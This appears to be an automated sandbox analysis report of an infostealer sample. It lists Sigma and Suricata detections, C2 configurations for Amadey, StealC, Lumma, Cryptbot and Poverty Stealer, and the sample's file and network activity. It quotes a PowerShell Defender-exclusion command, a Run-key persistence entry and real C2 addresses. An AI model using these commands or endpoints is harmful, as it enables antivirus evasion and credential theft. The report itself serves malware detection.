Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7284, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7672, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8796, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4edf09f764.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8796, ProcessName: skotes.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, ParentProcessId: 6368, ParentProcessName: filer.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, ProcessId: 5312, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:33.946415+0100	2028371	3	Unknown Traffic	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:36.343679+0100	2028371	3	Unknown Traffic	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:39.184744+0100	2028371	3	Unknown Traffic	192.168.2.7	50148	172.67.153.209	443	TCP
2024-11-26T22:54:42.878760+0100	2028371	3	Unknown Traffic	192.168.2.7	50154	172.67.153.209	443	TCP
2024-11-26T22:54:45.711414+0100	2028371	3	Unknown Traffic	192.168.2.7	50159	172.67.153.209	443	TCP
2024-11-26T22:54:49.791139+0100	2028371	3	Unknown Traffic	192.168.2.7	50161	172.67.153.209	443	TCP
2024-11-26T22:54:50.400347+0100	2028371	3	Unknown Traffic	192.168.2.7	50162	172.67.153.209	443	TCP
2024-11-26T22:54:52.747455+0100	2028371	3	Unknown Traffic	192.168.2.7	50165	172.67.153.209	443	TCP
2024-11-26T22:54:52.747725+0100	2028371	3	Unknown Traffic	192.168.2.7	50164	172.67.153.209	443	TCP
2024-11-26T22:54:56.306594+0100	2028371	3	Unknown Traffic	192.168.2.7	50191	172.67.153.209	443	TCP
2024-11-26T22:54:59.224572+0100	2028371	3	Unknown Traffic	192.168.2.7	50200	172.67.153.209	443	TCP
2024-11-26T22:54:59.478470+0100	2028371	3	Unknown Traffic	192.168.2.7	50201	172.67.153.209	443	TCP
2024-11-26T22:55:02.897596+0100	2028371	3	Unknown Traffic	192.168.2.7	50208	172.67.153.209	443	TCP
2024-11-26T22:55:07.950409+0100	2028371	3	Unknown Traffic	192.168.2.7	50221	172.67.153.209	443	TCP
2024-11-26T22:55:10.598321+0100	2028371	3	Unknown Traffic	192.168.2.7	50224	172.67.153.209	443	TCP
2024-11-26T22:55:14.084942+0100	2028371	3	Unknown Traffic	192.168.2.7	50227	172.67.153.209	443	TCP
2024-11-26T22:56:22.895993+0100	2028371	3	Unknown Traffic	192.168.2.7	50349	20.189.173.21	443	TCP
2024-11-26T22:57:05.210408+0100	2028371	3	Unknown Traffic	192.168.2.7	50382	52.168.117.168	443	TCP

ET MALWARE LUMAR Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:25.532523+0100	2048736	1	A Network Trojan was detected	192.168.2.7	50138	185.244.212.106	2227	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:34.694955+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:37.101986+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:51.303148+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50162	172.67.153.209	443	TCP
2024-11-26T22:54:53.461279+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50165	172.67.153.209	443	TCP
2024-11-26T22:55:00.221539+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50201	172.67.153.209	443	TCP
2024-11-26T22:55:14.825781+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50227	172.67.153.209	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:34.694955+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50145	172.67.153.209	443	TCP
2024-11-26T22:54:51.303148+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50162	172.67.153.209	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:37.101986+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50147	172.67.153.209	443	TCP
2024-11-26T22:54:53.461279+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50165	172.67.153.209	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:55:01.746500+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50206	185.215.113.16	80	TCP
2024-11-26T22:55:16.352572+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50229	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:17.635142+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50129	185.215.113.43	80	TCP
2024-11-26T22:54:23.602230+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50134	185.215.113.43	80	TCP
2024-11-26T22:54:33.711787+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50144	185.215.113.43	80	TCP
2024-11-26T22:54:42.705056+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50153	185.215.113.43	80	TCP
2024-11-26T22:54:49.977760+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50160	185.215.113.43	80	TCP
2024-11-26T22:55:00.501727+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50203	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:59.118013+0100	2054350	1	A Network Trojan was detected	192.168.2.7	50199	34.118.89.252	80	TCP
2024-11-26T22:55:00.774630+0100	2054350	1	A Network Trojan was detected	192.168.2.7	50207	34.118.89.252	80	TCP
2024-11-26T22:55:10.179589+0100	2054350	1	A Network Trojan was detected	192.168.2.7	50223	34.118.89.252	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:18.235520+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49712	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:18.112773+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:18.747324+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:20.757363+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:18.854562+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49712	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:50.521738+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50161	172.67.153.209	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:17.648675+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:54:44.182362+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50155	185.215.113.206	80	TCP
2024-11-26T22:54:56.585726+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50190	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:04.767086+0100	2856121	1	A Network Trojan was detected	192.168.2.7	50096	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:53:14.936743+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49977	185.215.113.43	80	TCP
2024-11-26T22:58:18.091645+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50407	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:54:03.430717+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49984	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:53:19.587845+0100	2803305	3	Unknown Traffic	192.168.2.7	49991	31.41.244.11	80	TCP
2024-11-26T22:54:06.275716+0100	2803305	3	Unknown Traffic	192.168.2.7	50101	31.41.244.11	80	TCP
2024-11-26T22:54:19.144331+0100	2803305	3	Unknown Traffic	192.168.2.7	50132	31.41.244.11	80	TCP
2024-11-26T22:54:25.161580+0100	2803305	3	Unknown Traffic	192.168.2.7	50136	185.215.113.16	80	TCP
2024-11-26T22:54:35.383988+0100	2803305	3	Unknown Traffic	192.168.2.7	50146	185.215.113.16	80	TCP
2024-11-26T22:54:44.239749+0100	2803305	3	Unknown Traffic	192.168.2.7	50158	185.215.113.16	80	TCP
2024-11-26T22:54:51.540917+0100	2803305	3	Unknown Traffic	192.168.2.7	50163	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T22:52:21.547061+0100	2803304	3	Unknown Traffic	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-26T22:52:44.048580+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:45.918814+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:47.219619+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:48.635067+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:53.073987+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:54.137025+0100	2803304	3	Unknown Traffic	192.168.2.7	49801	185.215.113.206	80	TCP
2024-11-26T22:52:59.891559+0100	2803304	3	Unknown Traffic	192.168.2.7	49913	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000017.00000003.1938476402.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 49.2.Tq4a1Bz.exe.400000.0.unpack	Malware Configuration Extractor: Poverty Stealer {"C2 url": "185.244.212.106:2227"}
Source: file.exe.7284.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: 60114bff78.exe.5572.41.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["2vYIhome.twentykm20sr.top", "home.twentykm20sr.top"]}
Source: 4edf09f764.exe.5900.50.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://blade-govern.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE5A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE544C0 PK11_PubEncrypt,	0_2_6CE544C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE54440 PK11_PrivDecrypt,	0_2_6CE54440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE24420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE24420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CEA25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE38670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE38670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CE5A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CE7A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CE80180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE543B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CE543B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE77C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CE77C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE37D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE37D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CE7BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE79EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CE79EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE53FF0 PK11_PrivDecryptPKCS1,	0_2_6CE53FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE59840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CE59840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE53850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CE53850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CE7DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE53560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CE53560

Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_807a47f2-f

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49894 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49895 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49897 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49896 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49898 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49904 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.7:50104 -> 13.107.246.63:443 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.153.209:443 -> 192.168.2.7:50154 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1940077735.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\*p source: Tq4a1Bz.exe, 00000031.00000002.2692671953.0000000001143000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8AE000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: Tq4a1Bz.exe, 00000031.00000002.2711450478.000000000A5DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbx6 source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1940077735.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: ntkrnlmp.pdbj source: Tq4a1Bz.exe, 00000031.00000002.2729667596.000000000A8B4000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49712
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49712
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49977 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49984
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.7:50096 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50129 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50134 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048736 - Severity 1 - ET MALWARE LUMAR Stealer Exfiltration M2 : 192.168.2.7:50138 -> 185.244.212.106:2227
